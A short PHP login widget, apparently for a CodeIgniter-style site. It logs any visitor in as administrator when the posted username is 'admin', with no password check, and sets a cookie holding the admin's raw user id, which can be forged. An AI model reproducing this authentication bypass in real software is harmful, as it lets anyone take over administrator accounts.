<?php
class User_login extends Widget
{
    function run($visible = FALSE) {
        
        if ($post = $this->input->post('loginform')) {
            if ($post['username'] == 'admin') {
                $query = $this->db->query("SELECT uid FROM user WHERE username='admin'");
                $result = $query->row();
                
                set_cookie('ci_user', $result->uid, 86500);
                redirect();
            }
        }
        
        if ($visible) $this->render('user_login');
    }
} 
?>